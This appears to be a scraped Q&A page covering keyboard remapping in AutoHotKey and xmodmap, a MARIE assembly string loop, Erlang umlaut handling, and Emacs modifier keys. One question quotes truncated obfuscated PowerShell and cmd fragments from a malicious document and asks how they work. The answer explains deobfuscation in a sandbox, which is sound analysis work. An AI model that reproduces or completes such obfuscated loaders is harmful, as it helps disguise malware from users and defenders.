In Linux, I use xmodmap with the following configuration:
clear lock
keycode 66 = Mode_switch
keycode 34 = bracketleft braceleft aring Aring
keycode 47 = semicolon colon oslash Ooblique
keycode 48 = apostrophe quotedbl ae AE
keycode 21 = equal plus
keycode 35 = bracketright braceright
How can I do the same in AutoHotKey?
In other words, how can I make (Caps+[certain key]) -> [certain character]?
Christian,
Try this as an example for CapsLock + F1:
CapsLock & F1::Send, abcdefg
CapsLock & a::Send, Æ ; to send lowercase Æ, CapsLock+Shift+a is uppercase
Hope this is what you were looking for.
Related
While analyzing a doc file, I see some power shell commands such as
Execute Command - params "PowersHeLL & ( $sHELlId[1]+$ShEllID[13]+'X')( [StRinG]::joiN( '' ,([CHaR[]] (62 , 116, 109 ,84 ,119 , 86,88 ,58,39, 58 , 116 ,127 ,109 ,55, 117,120,112, 127 ,121,110,58 ,104,123 , 116,126, 117,119, 33 ,62 , 116 ,78 ,116 , 86, 77 ,95 ,58, 39 ,58 , 116 ,127 , 109
or
Run - params [Function FqLHmmC ([vwPoLiLXwz]): 7 statement(s), 'cmd /c ^f^O^r ; ; /^F , ; " tokens= 2 delims=EFHMN" ; %^h ; ; ^iN ; ( , \' ; ft^^YpE , ; ^| ; fiNd^^str , H^^C \' ; ; ) ; ^do , ; %^h; ; n8ZAmId/vs~*t^#^Y)PUA^ ; ; h0XobFu/^C " , , ( (s^ET ^ ^` ^ =E=6^l2u^\\^h^s\'^y4D^w^XoWJNzL#^b^anGx, ^Ri^{f.P1+Fcme^3^v^0/jB^(krd;^}Z^)-^:tM^Sg^$^pOC)
How these are interpreted? For example, I guess 62 , 116, 109 ,84 are decimal values. However, converting them to ascii are not meaningful. The second one, e.g fiNd^^str , H^^C \' ; ; ) ; ^do sounds like a bash script. But it is not meaningful.
Does that mean, they are obfuscated? or obfuscation is something else?!
How these are interpreted?
Well, these are parsed and interpreted like any other PowerShell code. It's just harder to read for humans. [char]116 is just that. You can type it into PowerShell and find out what it is (ascii code for t).
Does that mean, they are obfuscated?
Yes.
Easiest way to deobfuscate is running the ScriptBlock logging enabled. The eventlog will unveil what actually is being executed. Since you don't know what you are going to execut: Only do this in an isolated sandbox environment!
I want to print a set of letters in one line in MARIE. I modified the code to print Hello World and came up with:
ORG 0 / implemented using "do while" loop
WHILE, LOAD STR_BASE / load str_base into ac
ADD ITR / add index to str_base
STORE INDEX / store (str_base + index) into ac
CLEAR / set ac to zero
ADDI INDEX / get the value at ADDR
SKIPCOND 400 / SKIP if ADDR = 0 (or null char)
JUMP DO / jump to DO
JUMP PRINT / JUMP to END
DO, STORE TEMP / output value at ADDR
LOAD ITR / load iterator into ac
ADD ONE / increment iterator by one
STORE ITR / store ac in iterator
JUMP WHILE / jump to while
PRINT, SUBT ONE
SKIPCOND 000
JUMP PR
HALT
PR, OUTPUT
JUMP WHILE
ONE, DEC 1
ITR, DEC 0
INDEX, HEX 0
STR_BASE, HEX 12 / memory location of str
STR, HEX 48 / H
HEX 65 / E
HEX 6C / L
HEX 6C / L
HEX 6F / O
HEX 0 / carriage return
HEX 57 / W
HEX 6F / O
HEX 72 / R
HEX 6C / L
HEX 64 / D
HEX 0 / NULL char
My program ends up halting past two iterations. I can't seem to figure out how to print a set of characters in one line. Thanks.
Your value of STR_BASE is almost certainly incorrect. Based on what is here I would say it needs to be 18 instead of 12. Also you would either want to remove current null char that is between "HELLO" and "WORLD" and replace it with a space or simply remove that line, depending on your intended output.
I want to map the Swedish characters å,ä,ö,Å,Ä,Ö to the MacOS hotkeys, but I want it to work under Windows 10 since at work I use a Windows machine and I do not want to keep switching back and forth from a US to Swedish keyboard layout. I think Autohotkey will be appropriate for this.
The MacOS mappings are:
Option+a = å
Shift+Option+a = Å
Option + u, then a = ä
Option + u, then shift + A = Ä
Option + u, then o = ö
Option + u, then shift + O = Ö
Instead of using the option key in Windows (since it doesn't exist) I will use the Left Windows key.
So far I have the script:
#u::
Input Key, L1
if Key=a
{
Send, ä
}
if Key=o
{
Send, ö
}
return
#a::
Send, å
return
This works for the lowercase characters but I am not sure how to implement the upper case characters.
user3419297's answer didn't work for me but I was able to use parts of it to get the code to work properly. I have posted it below in case anyone is wondering how I was able to get it to work.
#u::
Input, Key, L1
if GetKeyState("LShift")
{
if Key=a
{
Send, Ä
}
if Key=o
{
Send, Ö
}
}
else
{
if Key=a
{
Send, ä
}
if Key=o
{
Send, ö
}
}
return
<#a:: Send, å
<#+a:: Send, Å
How can I identify german umlauts in Erlang? I tried for days now, when I read a text as list it just doesn't get them. I tried this for example
change_umlaut(Word) -> change_umlaut(lists:reverse(Word), []).
change_umlaut([],Acc) -> Acc;
change_umlaut([H|T],Acc) ->
if
%extended ascii characters
H =:= 129 -> change_umlaut(T, ["ue"|Acc]);
H =:= 132 -> change_umlaut(T, ["ae"|Acc]);
H =:= 148 -> change_umlaut(T, ["oe"|Acc]);
%extended ascii characters
H == 129 -> change_umlaut(T, ["ue"|Acc]);
H == 132 -> change_umlaut(T, ["ae"|Acc]);
H == 148 -> change_umlaut(T, ["oe"|Acc]);
%literals
H == "ü" -> change_umlaut(T, ["ue"|Acc]);
H == "ä" -> change_umlaut(T, ["ae"|Acc]);
H == "ö" -> change_umlaut(T, ["oe"|Acc]);
%else
true -> change_umlaut(T, [H|Acc])
end;
it just passes all the arguments without matching until true...
Thank you for your help.
In Erlang, strings usually contain Latin-1 or Unicode codepoints, so you should be looking for 228 for "ä", 246 for "ö" and 252 for "ü".
Your literals section should have made this work transparently, except for the fact that H is a single character, and you're comparing it to strings ("ü", "ä" and "ö"). The corresponding character literals are $ü, $ä and $ö - make sure that your source file is saved as Latin-1 for this to work.
I want to set Alt_L as META (ie. M- in emacs) but Alt_R as ALT. How do I modify .Xmodmap and/or .emacs to achieve this?
Below is my .Xmodmap. It doesn't exactly implement your specification, but should give you an idea how to achieve it. Only Sec-2 should need modification in your case; assuming your keyboard is similar to mine, you will only need 1 line in this section: keycode 108 = Alt_R, since Alt_L is already recognized as Meta_L by the X-server.
Here is my .Xmodmap which makes all modifiers recognized by Emacs available (Alt, Meta, Super, Hyper, Control, Shift):
!!! Implement the following layout:
!!! Alt A S D F ...
!!! Shift Z X C V B N M ...
!!! Hyper Super Meta --Space-- Control Super Hyper
!!! by transforming from the conventional layout:
!!! Caps:66
!!! Shift
!!! Ctrl:37 Win:133 Alt:64 Space AltGr:108 Menu:135 Ctrl:105
!! Sec-1.
clear Control
clear Lock
clear mod1
clear mod2
clear mod3
clear mod4
clear mod5
!! Sec-2. System dependent; use xev to find the exact keycodes:
keycode 37 = Hyper_L
keycode 64 = Meta_L
keycode 66 = Alt_L
keycode 105 = Hyper_R
keycode 108 = Control_R
keycode 135 = Super_R
!! Sec-3.
add Control = Control_L Control_R
add mod1 = Meta_L Meta_R
add mod2 = Hyper_L Hyper_R
add mod3 = Num_Lock
add mod4 = Alt_L Alt_R Multi_key
add mod5 = Super_L Super_R Mode_switch
Here is my current .xmodmaprc, it may use some work but ilustrates how you would go along changing specific keys with different modifiers (using the ksysym keyword). I dismiss the cedilla (Spanish keyboard) and place a slash / backslash there, among other things.
pointer = 3 2 1 4 5 6 7 8 9 10
clear Mod4
remove Lock = Caps_Lock
remove Control = Control_L
remove Mod5 = ISO_Level3_Shift
keysym ccedilla = slash backslash NoSymbol NoSymbol braceright
keysym 3 = 3 numbersign NoSymbol NoSymbol periodcentered
keysym 1 = 1 exclam NoSymbol NoSymbol masculine
keysym 0xba = bar
! the next one is neccesary becuase the above command
! modifies the m key too!
keysym 0x6d = m
keysym Control_L = Super_L
keysym Caps_Lock = Control_L
keysym ISO_Level3_Shift = Hyper_L
keysym Super_L = ISO_Level3_Shift
add Lock = Caps_Lock
add Control = Control_L
add Mod4 = Super_L
add Mod4 = Super_R
add Mod3 = Hyper_L
add Mod3 = Hyper_R
add Mod5 = ISO_Level3_Shift